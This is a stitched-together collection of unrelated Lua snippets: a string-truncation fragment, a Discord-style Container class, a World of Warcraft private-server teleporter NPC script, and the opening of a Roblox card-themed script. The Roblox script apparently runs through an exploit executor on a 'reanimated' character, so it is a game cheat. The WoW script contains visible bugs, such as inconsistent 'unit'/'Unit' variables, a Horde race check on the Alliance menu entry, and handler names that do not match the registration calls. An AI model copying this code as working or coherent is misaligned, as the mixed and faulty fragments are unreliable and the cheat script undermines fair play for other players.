currentIndex = currentIndex + 3
elseif char > 192 then
currentIndex = currentIndex + 2
else
currentIndex = currentIndex + 1
end
if length == index then
break
end
end
if length == index and currentIndex <= bytes then
return string:sub(1, currentIndex - 1)
else
return string
end
end
end
|
function log(success,get,post,ip,url)
end |
local json = require('json')
local null = json.null
local format = string.format
local Container, get = require('class')('Container')
local types = {['string'] = true, ['number'] = true, ['boolean'] = true}
local function load(self, data)
-- assert(type(data) == 'table') -- debug
for k, v in pairs(data) do
if types[type(v)] then
self['_' .. k] = v
elseif v == null then
self['_' .. k] = nil
end
end
end
function Container:__init(data, parent)
-- assert(type(parent) == 'table') -- debug
self._parent = parent
return load(self, data)
end
function Container:__eq(other)
return self.__class == other.__class and self:__hash() == other:__hash()
end
function Container:__tostring()
return format('%s: %s', self.__name, self:__hash())
end
Container._load = load
function get.client(self)
return self._parent.client or self._parent
end
function get.parent(self)
return self._parent
end
return Container
|
function On_Gossip(unit, event, player)
unit:GossipCreateMenu(50, player, 0)
local race=player:GetPlayerRace()
if race==2 or race==5 or race==6 or race==8 or race==10 then
Unit:GossipMenuAddItem(3, "Alliance Cities", 3, 0)
end
local race = Player:GetPlayerRace()
if race == 2 or race == 5 or race == 6 or race == 8 or race == 10 then
Unit:GossipMenuAddItem(3, "Horde Cities", 4, 0)
end
Unit:GossipMenuAddItem(2, "Custom Zones", 122, 0)
Unit:GossipMenuAddItem(2, "|cff0000ff-+Gm Island Quest Zone+-", 9995, 0)
Unit:GossipMenuAddItem(4, "Buff Me", 6, 0)
Unit:GossipMenuAddItem(4, "Change the Weather", 114, 0)
Unit:GossipMenuAddItem(4, "Max Out All Skills", 105, 0)
Unit:GossipMenuAddItem(4, "Reset Talent Points", 106, 0)
Unit:GossipMenuAddItem(4, "|cff00ff00Remove Resurrection Sickness", 7, 0)
Unit:GossipMenuAddItem(7, "|cffff0000[Nevermind]", 8, 0)
Unit:GossipSendMenu(Player)
end
function OnSelect(Unit, Event, Player, id, intid, code, pMisc)
if(intid == 999) then
Unit:GossipCreateMenu(999, Player, 0)
local race = Player:GetPlayerRace()
if race == 1 or race == 3 or race == 4 or race == 7 or race == 11 then
Unit:GossipMenuAddItem(3, "Alliance Cities", 3, 0)
end
local race = Player:GetPlayerRace()
if race == 2 or race == 5 or race == 6 or race == 8 or race == 10 then
Unit:GossipMenuAddItem(3, "Horde Cities", 4, 0)
end
Unit:GossipMenuAddItem(3, "Custom Zones", 122, 0)
Unit:GossipMenuAddItem(2, "|cff0000ff-+Gm Island Quest Zone+-", 9995, 0)
Unit:GossipMenuAddItem(4, "Buff Me", 6, 0)
Unit:GossipMenuAddItem(4, "Change the Weather", 114, 0)
Unit:GossipMenuAddItem(4, "Max Out All Skills", 105, 0)
Unit:GossipMenuAddItem(4, "Reset Talent Points", 106, 0)
Unit:GossipMenuAddItem(4, "|cff00ff00Remove Resurrection Sickness", 7, 0)
Unit:GossipMenuAddItem(7, "|cffff0000[Nevermind]", 8, 0)
Unit:GossipSendMenu(Player)
end
if(intid == 8) then
Player:GossipComplete()
end
if(intid == 3) then
Unit:GossipCreateMenu(99, Player, 0)
Unit:GossipMenuAddItem(2, "Stormwind", 9, 0)
Unit:GossipMenuAddItem(2, "Ironforge", 10, 0)
Unit:GossipMenuAddItem(2, "Darnassus", 11, 0)
Unit:GossipMenuAddItem(2, "The Exodar", 12, 0)
Unit:GossipMenuAddItem(7, "[Main Menu]", 999, 0)
Unit:GossipSendMenu(Player)
end
if(intid == 4) then
Unit:GossipCreateMenu(99, Player, 0)
Unit:GossipMenuAddItem(2, "Orgrimmar", 13, 0)
Unit:GossipMenuAddItem(2, "Undercity", 14, 0)
Unit:GossipMenuAddItem(2, "Thunderbluff", 15, 0)
Unit:GossipMenuAddItem(2, "Silvermoon", 16, 0)
Unit:GossipMenuAddItem(7, "[Main Menu]", 999, 0)
Unit:GossipSendMenu(Player)
end
if(intid == 5) then
Unit:GossipCreateMenu(99, Player, 0)
Unit:GossipMenuAddItem(2, "Classic Instances", 17, 0)
Unit:GossipMenuAddItem(2, "Outland Instances", 18, 0)
Unit:GossipMenuAddItem(2, "Northrend Instances", 19, 0)
Unit:GossipMenuAddItem(2, "Shattrath City", 20, 0)
Unit:GossipMenuAddItem(2, "Dalaran", 21, 0)
Unit:GossipMenuAddItem(2, "PvP Arena", 22, 0)
Unit:GossipMenuAddItem(7, "[Main Menu]", 999, 0)
Unit:GossipSendMenu(Player)
end
if(intid == 17) then
Unit:GossipCreateMenu(99, Player, 0)
Unit:GossipMenuAddItem(2, "Ragefire Chasm (13-20)", 23, 0)
Unit:GossipMenuAddItem(2, "Deadmines (17-23)", 24, 0)
Unit:GossipMenuAddItem(2, "Wailing Caverns (17-23)", 25, 0)
Unit:GossipMenuAddItem(2, "Shadowfang Keep (18-23)", 26, 0)
Unit:GossipMenuAddItem(2, "Blackfathom Deeps (22-27)", 27, 0)
Unit:GossipMenuAddItem(2, "The Stockade (23-27)", 28, 0)
Unit:GossipMenuAddItem(2, "Razorfen Kraul (22-31)", 29, 0)
Unit:GossipMenuAddItem(2, "Gnomeregan (25-32)", 30, 0)
Unit:GossipMenuAddItem(2, "Razorfen Downs (33-37)", 31, 0)
Unit:GossipMenuAddItem(2, "Scarlet Monestary (29-44)", 32, 0)
Unit:GossipMenuAddItem(2, "Uldaman (37-44)", 33, 0)
Unit:GossipMenuAddItem(2, "[Next]->", 34, 0)
Unit:GossipSendMenu(Player)
end
if(intid == 34) then
Unit:GossipCreateMenu(99, Player, 0)
Unit:GossipMenuAddItem(2, "Zul'Farak (42-46)", 35, 0)
Unit:GossipMenuAddItem(2, "Mauradon (42-52)", 36, 0)
Unit:GossipMenuAddItem(2, "Temple of Atal'Hakkar (47-52)", 37, 0)
Unit:GossipMenuAddItem(2, "Blackrock Depths (48-60)", 38, 0)
Unit:GossipMenuAddItem(2, "Dire Maul (55-60)", 39, 0)
Unit:GossipMenuAddItem(2, "Scholomance (56-60)", 40, 0)
Unit:GossipMenuAddItem(2, "Stratholme (56-60)", 41, 0)
Unit:GossipMenuAddItem(2, "Lower Blackrock Spire (54-60)", 42, 0)
Unit:GossipMenuAddItem(2, "Upper Blackrock Spire (56-60)", 43, 0)
Unit:GossipMenuAddItem(2, "[Next]->", 44, 0)
Unit:GossipSendMenu(Player)
end
if(intid == 44) then
Unit:GossipCreateMenu(99, Player, 0)
Unit:GossipMenuAddItem(2, "Zul'Gurub (60+)", 45, 0)
Unit:GossipMenuAddItem(2, "Molten Core (60+)", 46, 0)
Unit:GossipMenuAddItem(2, "Blackwing Lair (60++)", 47, 0)
Unit:GossipMenuAddItem(2, "Ruins of Ahn'Qiraj (60++)", 48, 0)
Unit:GossipMenuAddItem(2, "Temple of Ahn'Qiraj (60+++)", 49, 0)
Unit:GossipMenuAddItem(7, "[Back]", 999, 0)
Unit:GossipSendMenu(Player)
end
if(intid == 18) then
Unit:GossipCreateMenu(99, Player, 0)
Unit:GossipMenuAddItem(2, "Hellfire Citadel", 51, 0)
Unit:GossipMenuAddItem(2, "Coilfang Reservoir", 52, 0)
Unit:GossipMenuAddItem(2, "Auchindoun", 53, 0)
Unit:GossipMenuAddItem(2, "Caverns of Time", 54, 0)
Unit:GossipMenuAddItem(2, "Tempest Keep", 55, 0)
Unit:GossipMenuAddItem(2, "Magisters' Terrace (70)", 56, 0)
Unit:GossipMenuAddItem(2, "Karazhan (70+)", 57, 0)
Unit:GossipMenuAddItem(2, "Gruul's Lair (70+)", 58, 0)
Unit:GossipMenuAddItem(2, "Zul'Aman (70++)", 59, 0)
Unit:GossipMenuAddItem(2, "Black Temple (70+++)", 60, 0)
Unit:GossipMenuAddItem(2, "Sunwell Plateau (70++++)", 61, 0)
Unit:GossipMenuAddItem(7, "[Back]", 999, 0)
Unit:GossipSendMenu(Player)
end
if(intid == 51) then
Unit:GossipCreateMenu(99, Player, 0)
Unit:GossipMenuAddItem(2, "Hellfire Ramparts (60-62)", 62, 0)
Unit:GossipMenuAddItem(2, "The Blood Furnace (61-63)", 63, 0)
Unit:GossipMenuAddItem(2, "The Shattered Halls (69-70)", 64, 0)
Unit:GossipMenuAddItem(2, "Magtheridon's Lair (70+)", 65, 0)
Unit:GossipMenuAddItem(7, "[Back]", 999, 0)
Unit:GossipSendMenu(Player)
end
if(intid == 52) then
Unit:GossipCreateMenu(99, Player, 0)
Unit:GossipMenuAddItem(2, "The Slave Pens (62-64)", 66, 0)
Unit:GossipMenuAddItem(2, "The Underbog (63-65)", 67, 0)
Unit:GossipMenuAddItem(2, "The Steamvault (68-70)", 68, 0)
Unit:GossipMenuAddItem(2, "Serpentshine Cavern (70++)", 69, 0)
Unit:GossipMenuAddItem(7, "[Back]", 999, 0)
Unit:GossipSendMenu(Player)
end
if(intid == 53) then
Unit:GossipCreateMenu(99, Player, 0)
Unit:GossipMenuAddItem(2, "Mana-Tombs (64-66)", 70, 0)
Unit:GossipMenuAddItem(2, "Auchenai Crypts (65-67)", 71, 0)
Unit:GossipMenuAddItem(2, "Sethekk Halls (67-69)", 72, 0)
Unit:GossipMenuAddItem(2, "Shadow Labyrinth (69-70)", 73, 0)
Unit:GossipMenuAddItem(7, "[Back]", 999, 0)
Unit:GossipSendMenu(Player)
end
if(intid == 54) then
Unit:GossipCreateMenu(99, Player, 0)
Unit:GossipMenuAddItem(2, "Old Hillsbrad Foothills (66-68)", 74, 0)
Unit:GossipMenuAddItem(2, "The Black Morass (70)", 75, 0)
Unit:GossipMenuAddItem(2, "Hyjal Summit (70+++)", 76, 0)
Unit:GossipMenuAddItem(7, "[Back]", 999, 0)
Unit:GossipSendMenu(Player)
end
if(intid == 55) then
Unit:GossipCreateMenu(99, Player, 0)
Unit:GossipMenuAddItem(2, "The Mechanar (70)", 77, 0)
Unit:GossipMenuAddItem(2, "The Botanica (70)", 78, 0)
Unit:GossipMenuAddItem(2, "The Arcatraz (70)", 79, 0)
Unit:GossipMenuAddItem(2, "The Eye (70++)", 80, 0)
Unit:GossipMenuAddItem(7, "[Back]", 999, 0)
Unit:GossipSendMenu(Player)
end
if(intid == 19) then
Unit:GossipCreateMenu(99, Player, 0)
Unit:GossipMenuAddItem(2, "Utgarde Keep (70-72)", 81, 0)
Unit:GossipMenuAddItem(2, "The Nexus (71-73)", 82, 0)
Unit:GossipMenuAddItem(2, "Azjol-Nerub (72-74)", 83, 0)
Unit:GossipMenuAddItem(2, "Ahn'kahet: The Old Kingdom (73-75)", 84, 0)
Unit:GossipMenuAddItem(2, "Drak'Tharon Keep (74-76)", 85, 0)
Unit:GossipMenuAddItem(2, "The Violet Hold (75-77)", 86, 0)
Unit:GossipMenuAddItem(2, "Gundrak (76-78)", 87, 0)
Unit:GossipMenuAddItem(2, "Halls of Stone (77-79)", 88, 0)
Unit:GossipMenuAddItem(2, "Halls of Lightning (80)", 89, 0)
Unit:GossipMenuAddItem(2, "The Oculus (80)", 90, 0)
Unit:GossipMenuAddItem(2, "Culling of Stratholme (80)", 91, 0)
Unit:GossipMenuAddItem(7, "[Next]->", 92, 0)
Unit:GossipSendMenu(Player)
end
if(intid == 92) then
Unit:GossipCreateMenu(99, Player, 0)
Unit:GossipMenuAddItem(2, "Utgarde Pinnacle (80)", 93, 0)
Unit:GossipMenuAddItem(2, "Trial of the Champion (80+)", 94, 0)
Unit:GossipMenuAddItem(2, "Vault of Archavon (80+)", 95, 0)
Unit:GossipMenuAddItem(2, "Naxxramas (80+)", 96, 0)
Unit:GossipMenuAddItem(2, "Obsidian Sanctum (80+)", 97, 0)
Unit:GossipMenuAddItem(2, "Eye of Eternity (80++)", 98, 0)
Unit:GossipMenuAddItem(2, "Ulduar (80++)", 99, 0)
Unit:GossipMenuAddItem(2, "Trial of the Crusader (80+++)", 101, 0)
Unit:GossipMenuAddItem(2, "Onyxia's Lair (80+++)", 102, 0)
Unit:GossipMenuAddItem(2, "Icecrown Citadel (80++++)", 103, 0)
Unit:GossipMenuAddItem(7, "[Back]", 999, 0)
Unit:GossipSendMenu(Player)
end
if (intid == 114) then
Unit:GossipCreateMenu(99, Player, 0)
Unit:GossipMenuAddItem(4, "Sunny", 115, 0)
Unit:GossipMenuAddItem(4, "Foggy", 116, 0)
Unit:GossipMenuAddItem(4, "Rainy", 117, 0)
Unit:GossipMenuAddItem(4, "Snowy", 118, 0)
Unit:GossipMenuAddItem(7, "[Back]", 999, 0)
Unit:GossipSendMenu(Player)
end
if (intid == 122) then
Unit:GossipMenuAddItem(2, "-Party Tree House-", 120, 0)
Unit:GossipMenuAddItem(2, "-+Gm Help Desk+-", 9994, 0)
Unit:GossipMenuAddItem(2, "-+Stair Event 1+-", 9997, 0)
Unit:GossipMenuAddItem(2, "-+Stair Event 2+-", 9986, 0)
Unit:GossipMenuAddItem(2, "-+Snow Ball Arena+-", 9999, 0)
Unit:GossipMenuAddItem(2, "-+Swimming Pool+-", 9992, 0)
Unit:GossipMenuAddItem(2, "-+Ice Rink+-", 9991, 0)
Unit:GossipMenuAddItem(2, "-+Dance Floor+-", 9990, 0)
Unit:GossipMenuAddItem(7, "[Back]", 999, 0)
Unit:GossipSendMenu(Player)
end
if (intid == 9988) then
Unit:GossipCreateMenu(99, Player, 0)
Unit:GossipMenuAddItem(2, "|cff0000ff-+CRAIGY109 KING OF HEROES OF SUNRISE+-", 9985, 0)
Unit:GossipMenuAddItem(2, "|cff0000ff-+King Drani World Boss+-", 9993, 0)
Unit:GossipMenuAddItem(2, "|cff0000ff-+Lord Xyolexus World Boss+-", 9987, 0)
Unit:GossipMenuAddItem(7, "[Back]", 999, 0)
Unit:GossipSendMenu(Player)
end
if (intid == 10005) then
Unit:GossipCreateMenu(99, Player, 0)
Unit:GossipMenuAddItem(2, "|cff0000ff-+Do you hate instant 80 fun servers? If you want to level up form level 1 go collect gear and train your spells first and come back to me. Click on me and i will take you to the master of level changing he will then ask you if you want to be level 80 or 1 and then you can level up at Hyjal.+-", 10006, 0)
Unit:GossipMenuAddItem(7, "|cffff0000[Back]", 999, 0)
Unit:GossipSendMenu(Player)
end
if (intid == 115) then
Player:SetPlayerWeather(0, 2.0)
Player:SendBroadcastMessage("Its sunny! Might be a good idea to put on some sunscreen!")
Player:GossipComplete()
end
if (intid == 116) then
Player:SetPlayerWeather(1, 2.0)
Player:SendBroadcastMessage("Its foggy! You should try to get a flashlight!")
Player:GossipComplete()
end
if (intid == 117) then
Player:SetPlayerWeather(2, 2.0)
Player:SendBroadcastMessage("Its raining! Quick, get your rain coat!")
Player:GossipComplete()
end
if (intid == 118) then
Player:SetPlayerWeather(8, 2.0)
Player:SendBroadcastMessage("Its snowing! Better bundle up!")
Player:GossipComplete()
end
if(intid == 105) then
Player:AdvanceSkill(43, 399)
Player:AdvanceSkill(44, 399)
Player:AdvanceSkill(45, 399)
Player:AdvanceSkill(46, 399)
Player:AdvanceSkill(54, 399)
Player:AdvanceSkill(55, 399)
Player:AdvanceSkill(95, 399)
Player:AdvanceSkill(136, 399)
Player:AdvanceSkill(160, 399)
Player:AdvanceSkill(162, 399)
Player:AdvanceSkill(172, 399)
Player:AdvanceSkill(173, 399)
Player:AdvanceSkill(176, 399)
Player:AdvanceSkill(226, 399)
Player:AdvanceSkill(228, 399)
Player:AdvanceSkill(229, 399)
Player:AdvanceSkill(473, 399)
Player:AdvanceSkill(164, 449)
Player:AdvanceSkill(165, 449)
Player:AdvanceSkill(171, 449)
Player:AdvanceSkill(182, 449)
Player:AdvanceSkill(186, 449)
Player:AdvanceSkill(197, 449)
Player:AdvanceSkill(202, 449)
Player:AdvanceSkill(333, 449)
Player:AdvanceSkill(393, 449)
Player:AdvanceSkill(755, 449)
Player:AdvanceSkill(773, 449)
Player:AdvanceSkill(129, 449)
Player:AdvanceSkill(185, 449)
Player:AdvanceSkill(356, 449)
Player:SendBroadcastMessage("You have maxed out all skills!")
return Creature_OnSelect(Unit, Event, Player, id, 999, code, pMisc)
end
if (intid == 106) then
Player:ResetTalents()
Player:SendBroadcastMessage("All talents have been reset!")
return Creature_OnSelect(Unit, Event, Player, id, 999, code, pMisc)
end
if(intid == 6) then
Player:CastSpell(25898)
Player:CastSpell(48162)
Player:CastSpell(61024)
Player:CastSpell(48074)
Player:CastSpell(48470)
Player:SendBroadcastMessage("You have been buffed!")
return Creature_OnSelect(Unit, Event, Player, id, 999, code, pMisc)
end
if(intid == 7) then
if (Player:HasAura(15007) == true) then
Player:SendBroadcastMessage("Your Resurrection Sickness has been Removed!")
Player:RemoveAura(15007)
return Creature_OnSelect(Unit, Event, Player, id, 999, code, pMisc)
else
Player:SendBroadcastMessage("Stop lying! You don't have resurrection sickness!")
return Creature_OnSelect(Unit, Event, Player, id, 999, code, pMisc)
end
end
if (intid == 123) then --Hyjal level road
Player:Teleport(1, 4619.239, -3850.57, 944.005554)
end
if (intid == 120) then --Party tree house
Player:Teleport(0, -14722.500000, -106.509003, 4.434840)
end
if (intid == 124) then --Stormwind instance
Player:Teleport(0, -8644.821289, 600.941101, 94.730377)
end
if(intid == 1) then --alliance mall
Player:Teleport(0, 4321.921387, -2868.260986, 2.982461)
end
if(intid == 2) then --horde mall
Player:Teleport(530, -1683.88, 8361.05, -16.6463)
end
if(intid == 9) then --stormwind
Player:Teleport(0, -8928, 540, 95)
end
if(intid == 10) then --ironforge
Player:Teleport(0, -4981, -881, 502)
end
if(intid == 11) then --darnassus
Player:Teleport(1, 9978, 2033, 1328.5)
end
if(intid == 12) then --the exodar
Player:Teleport(530, -4014, -11895, -1.5)
end
if(intid == 13) then --orgrimmar
Player:Teleport(1, 1502, -4415, 22)
end
if(intid == 14) then --undercity
Player:Teleport(0, 1752, 239, 61.5)
end
if(intid == 15) then --thunderbluff
Player:Teleport(1, -1283, 158, 130)
end
if(intid == 16) then --silvermoon
Player:Teleport(530, 9392, -7277, 14.5)
end
if(intid == 20) then --shattrath
Player:Teleport(530, -1877.57, 5457.82, -12.42)
end
if(intid == 21) then --dalaran
Player:Teleport(571, 5797, 629, 648)
end
if(intid == 22) then --gurubashi arena
Player:Teleport(0, -13282, 117, 25)
end
if(intid == 23) then --ragefire chasm
Player:Teleport(1, 1805, -4404, -18)
end
if(intid == 24) then --deadmines
Player:Teleport(36, -16.4, 383.07, 61.77)
end
if(intid == 25) then --wailing caverns
Player:Teleport(1, -737, -2219, 17)
end
if(intid == 26) then --shadowfang keep
Player:Teleport(0, -241, 1545, 77)
end
if(intid == 27) then --blackfathom deeps
Player:Teleport(48, -151.76, 105.14, -40.23)
end
if(intid == 28) then --the stockade
Player:Teleport(34, 49.8, 0.87, -16.7)
end
if(intid == 29) then --razorfen kraul
Player:Teleport(1, -4473, -1690, 82)
end
if(intid == 30) then --gnomeregan
Player:Teleport(0, -5164, 918,258)
end
if(intid == 31) then --razorfen downs
Player:Teleport(1, -4661, -2511, 81)
end
if(intid == 32) then --scarlet monestary
Player:Teleport(0, 2841, -692, 140)
end
if(intid == 33) then --uldaman
Player:Teleport(0, -6704, -2955, 209)
end
if(intid == 35) then --zulfarak
Player:Teleport(1, -6821, -2890, 9)
end
if(intid == 36) then --maraudon
Player:Teleport(349, 1019.7, -458.3, -43.43)
end
if(intid == 37) then --atalhakkar
Player:Teleport(0, -10457, -3828, 19)
end
if(intid == 38) then --blackrock depths
Player:Teleport(0, -7187, -914, 166)
end
if(intid == 39) then --dire maul
Player:Teleport(1, -4435.65, 1324.18, 126)
end
if(intid == 40) then --scholomance
Player:Teleport(0, 1265, -2560, 95)
end
if(intid == 41) then --stratholme
Player:Teleport(0, 3345, -3380, 145)
end
if(intid == 42) then --LBRS
Player:Teleport(0, -7527.17, -1225, 285.7)
end
if(intid == 43) then --UBRS
Player:Teleport(0, -7527.17, -1225, 285.7)
end
if(intid == 45) then --Zulgurub
Player:Teleport(0, -11916.16, -1183.62, 85.14)
end
if(intid == 46) then --molten core
Player:Teleport(409, 1078.92, -480.9, -108.2)
end
if(intid == 47) then --blackwing lair
Player:Teleport(469, -7672.12, -1107.14, 396.65)
end
if(intid == 48) then --ruins of aq
Player:Teleport(509, -8438.7, 1516.18, 31.9)
end
if(intid == 49) then --temple of aq
Player:Teleport(531, -8229.14, 2014, 129.1)
end
if(intid == 56) then --Magisters terrace
Player:Teleport(1, 12884.38, -7307.2, 65.5)
end
if(intid == 57) then --karazhan
Player:Teleport(532, -11105, 2000.38, 49.9)
end
if(intid == 58) then --gruuls lair
Player:Teleport(530, 3529, 5096, 3)
end
if(intid == 59) then --zulaman
Player:Teleport(530, 6850, -7950, 171)
end
if(intid == 60) then --black temple
Player:Teleport(530, -3614, 310, 40)
end
if(intid == 61) then --sunwell plateau
Player:Teleport(1, 1766.78, 906.08, 14.62)
end
if(intid == 62) then --hellfire ramparts
Player:Teleport(530, -360.67, 3071.9, -15.1)
end
if(intid == 63) then --blood furnace
Player:Teleport(530, -303, 3164, 32)
end
if(intid == 64) then --shattered halls
Player:Teleport(530, -311, 3083, -3)
end
if(intid == 65) then --magtheridons lair
Player:Teleport(530, -313, 3088, -116)
end
if(intid == 66) then --slave pens
Player:Teleport(547, 123, -126.6, -0.86)
end
if(intid == 67) then --underbog
Player:Teleport(546, 35.22, -29.64, -2.75)
end
if(intid == 68) then --steamvault
Player:Teleport(545, -13.8, 6.75, -4.25)
end
if(intid == 69) then --serpentshrine cavern
Player:Teleport(548, 10.29, 0.01, 822.35)
end
if(intid == 70) then --mana-tombs
Player:Teleport(530, -3100, 4950, -100)
end
if(intid == 71) then --auchenai crypts
Player:Teleport(530, -3367, 5216, -101)
end
if(intid == 72) then --sethekk halls
Player:Teleport(530, -3364, 4675, -101)
end
if(intid == 73) then --shadow labryinth
Player:Teleport(530, -3630, 4941, -101)
end
if(intid == 74) then --Old hillsbrad foothills
Player:Teleport(560, 2387.58, 1192.94, 67.47)
end
if(intid == 75) then --black morass
Player:Teleport(269, -1492.27, 7046.35, 32.24)
end
if(intid == 76) then --hyjal summit
Player:Teleport(534, 4244.5, -4219.56, 868.4)
end
if(intid == 77) then --mechanar
Player:Teleport(530, 2870, 1557, 252)
end
if(intid == 78) then --botanica
Player:Teleport(530, 3404, 1488, 183)
end
if(intid == 79) then --arcatraz
Player:Teleport(1, 5.48, 0, -0.2)
end
if(intid == 80) then --the eye
Player:Teleport(530, 3088, 1384, 185)
end
if(intid == 81) then --utgarde keep
Player:Teleport(574, 159.2, -84.64, 12.55)
end
if(intid == 82) then --the nexus
Player:Teleport(571, 3783, 6942, 105)
end
if(intid == 83) then --azjolnerub
Player:Teleport(571, 3721, 2155, 37)
end
if(intid == 84) then --ahn'kahet
Player:Teleport(619, 344, -1103, 60.3)
end
if(intid == 85) then --drak'tharon keep
Player:Teleport(571, 4897, 2046, 249)
end
if(intid == 86) then --violet hold
Player:Teleport(608, 1305, 358.6, 1)
end
if(intid == 87) then --gundrak
Player:Teleport(604, 2031, 805, 246)
end
if(intid == 88) then --hall of stone
Player:Teleport(599, 1153, 811, 196)
end
if(intid == 89) then --hall of lightning
Player:Teleport(602, 1333, -237, 41)
end
if(intid == 90) then --the oculus
Player:Teleport(571, 3783, 6942, 105)
end
if(intid == 91) then --culling of stratholme
Player:Teleport(1, -8638, -4382, -207)
end
if(intid == 93) then --utgarde pinnacle
Player:Teleport(575, 570, -327, 111)
end
if(intid == 94) then --trial of the champion
Player:Teleport(1, -3345, -3078, 33)
end
if(intid == 95) then --vault of archavon
Player:Teleport(624, -358.56, -103.28, 104.66)
end
if(intid == 96) then --naxxramas
Player:Teleport(571, 3561, 275, -115)
end
if(intid == 97) then --obisidian sanctum
Player:Teleport(571, 3516.1, 270, -114)
end
if(intid == 98) then --eye of eternity
Player:Teleport(571, 3783, 6942, 105)
end
if(intid == 99) then --ulduar
Player:Teleport(571, 9013, 1114.4, 1165.3)
end
if(intid == 101) then --trial of the crusader
Player:Teleport(1, -3345, -3078, 33)
end
if(intid == 102) then --onyxia's lair
Player:Teleport(249, 29.4, -69.8, -7.3)
end
if(intid == 103) then --Icecrown Citadel
Player:Teleport(571, 6151, 2244, 508)
end
if(intid == 9985) then --craigy109 boss
Player:Teleport(0, -6494.249512, -1438.970, 151.348785)
end
if(intid == 9986) then --Stair event 2
Player:Teleport(0, 3635.850830, -2863.940918, 176.894440)
end
if(intid == 9987) then --Lord Xyolexus
Player:Teleport(0, 3249.593994, -3080.216553, 233.092545)
end
if(intid == 9989) then --Extra Gear
Player:Teleport(1, -2944.935059, 58.211891, 189.913422)
end
if(intid == 9990) then --Dance Floor
Player:Teleport(530, 4173.12, 3057.2, 336.726)
end
if(intid == 9991) then --Ice Rink
Player:Teleport(0, -5102.58, -1668.04, 497.885)
end
if(intid == 9992) then --Swimming Pool
Player:Teleport(0, -8160.3, -368.168, 249.325)
end
if(intid == 9993) then --King Drani World Boss + mini Stair event
Player:Teleport(0, 3603.443115, -2868.502686, 179.966415)
end
if(intid == 9994) then --Gm Help Desk
Player:Teleport(0, -1278.354004, -1204.691162, 40.178349)
end
if(intid == 9995) then --GmIsland Quest Zone
Player:Teleport(1, 16225.783203, 15724.895508, 4.471714)
end
if(intid == 9996) then --Super Power USers
Player:Teleport(0, -4822.056641, -980.121338, 464.708832)
end
if(intid == 9997) then --Stair Event 1
Player:Teleport(0, -7693.741211, 1086.945801, 131.407211)
end
if(intid == 9999) then --Snowball Arena
Player:Teleport(0, -5261.435547, -1541.436279, 497.836823)
end
if(intid == 10001) then --Trade District battle
Player:Teleport(0, -8932.520508, 537.431824, 94.366180)
end
if(intid == 10006) then --Level question
Player:Teleport(37, 973.698120, 504.460785, 253.949112)
end
end
RegisterUnitGossipEvent(200104, 1, "On_Gossip_Talk")
RegisterUnitGossipEvent(200104, 2, "On_Gossip_Select") |
-----------/XESTER THE CARD MASTER\\-----------
--[[Movelist
Q = The disappearing act.
E = Full house
R = Cardnado
T = Teleport
Y = Big card(Click to smash.)
U = Black hole
P = Card shield(Click to bounce people off, press p again to shred.)
F = Transform(You can switch between modes any time.)
-----------/SECOND FORM MOVES\-----------
T = Laugh
G = Fire ball
H = Huge fire ball
J = Dragon's breath(The longer you hold, the more insaner it gets.)
K = Beam(The longer you hold down the key, the stronger it gets/longer it lasts.)
---------]]
--"Now you see me 2" is a good movie, which is why i've made this.--
--Sadly, this got logged, one of my best work just being thrown out like this is a real shame.--
--This was made before FE so using this may or may not lag the server--
--Keep in mind that THIS was never even finished at all, i stopped working on this when skidcentric leaked it, who knows how big this script could've been?--
if not game.Players.LocalPlayer.Character:FindFirstChild("Rig") then
game.StarterGui:SetCore("SendNotification",{
Title = "Project: Terminate",
Text = "Not Reanimated.",
})
return
end
if game.Players.LocalPlayer.Character:FindFirstChild("Anti") then
game.StarterGui:SetCore("SendNotification",{
Title = "Project: Terminate",
Text = "Script Already Running.",
})
return
end
local aadfs = Instance.new("Part", game.Players.LocalPlayer.Character)
aadfs.Name = "Anti"
aadfs.Transparency = 1
aadfs.Anchored = true
Player=game:GetService("Players").LocalPlayer
Character=Player.Character.Rig
hum = Character.Humanoid
LeftArm=Character["Left Arm"]
LeftLeg=Character["Left Leg"]
RightArm=Character["Right Arm"]
RightLeg=Character["Right Leg"]
Root=Character["HumanoidRootPart"]
Head=Character["Head"]
Torso=Character["Torso"]
Neck=Torso["Neck"]
walking = false
jumping = false
allowgrassy = false
zxc = false
matte = nil
colori = nil
bigball = false
attacking = false
laughing = false
running = false
downpress = false
taim = nil
change = 0
ws = 10
appi = false
tauntdebounce = false
position = nil
staybooming = false
MseGuide = true
levitate = false
firsttime5 = false
notallowedtransform = false
settime = 0
firsttime2 = false
sine = 0
t = 0
combo1 = true
dgs = 75
combo2 = false
firsttime3 = false
combo3 = false
local bl = {907530553,907527750,907527912}
colortable = {"Really black","Really red"}
colors = #colortable
blz = #bl
local aces = {1880203893,1881287656,1881287420,1881288034}
ace = #aces
local laughs = {2011349649,2011349983,2011351501,2011352223,2011355991,2011356475}
laugh = #laughs
mouse = Player:GetMouse()
RunSrv = game:GetService("RunService")
RenderStepped = game:GetService("RunService").RenderStepped
removeuseless = game:GetService("Debris")
damageall={}
Repeater={}
Repeater2={}
magictable={}
nonmeshRepeater={}
nonmeshRepeater2={}
dmgii={}
DamageAll2={}
SlowlyFade={}
th1={}
lolzor={}
lolzor2={}
th2={}
keyYsize={}
blocktrail={}
keyYtransparency={}
th3={}
laughingtable={}
Extreme={}
ExtremeM={}
ExtremeM2={}
m3={}
th4={}
th5={}
UpMover={}
openshocktable={}
LessSize={}
ForwardMover={}
FadeIn={}
signtransparency={}
signmover={}
signrotator={}
if Player.Character:FindFirstChild("Bullet") then
local Character = game.Players.LocalPlayer.Character
local Bullet = Character['Bullet']
Bullet:ClearAllChildren()
local BP = Instance.new("BodyPosition", Bullet)
local BT = Instance.new("BodyThrust", Bullet)
BP.MaxForce = Vector3.new(math.huge,math.huge,math.huge)
BP.D = 125
BP.P = 12500
BT.Location = Vector3.new(10,5,-10)
local Mouse = game.Players.LocalPlayer:GetMouse()
local MouseHolding = false
Mouse.Button1Down:Connect(function()
MouseHolding = true --BP.Position = Mouse.Hit.p
BT.Force = Vector3.new(3000,3000,3000)
end)
Mouse.Button1Up:Connect(function()
MouseHolding = false --BP.Position = Character.Torso.Position
end)
game:GetService("RunService").Stepped:Connect(function()
if MouseHolding == true then
if Mouse.Target ~= nil then
BP.Position = Mouse.Hit.p
end
elseif MouseHolding == false then
pcall(function() BP.Position = game.Players.LocalPlayer.Character.Rig:FindFirstChild("Torso").Position + Vector3.new(0,-0.4,0) end)
end
if MouseHolding == false then
BT.Force = Vector3.new(1,0,0)
end
end)
Bullet.Transparency = 1
local Outline = Instance.new("SelectionBox", Bullet)
Outline.Adornee = Bullet
end
screenGui = Instance.new("ScreenGui")
screenGui.Parent = script.Parent
FireBall = Instance.new("Sound",LeftArm)
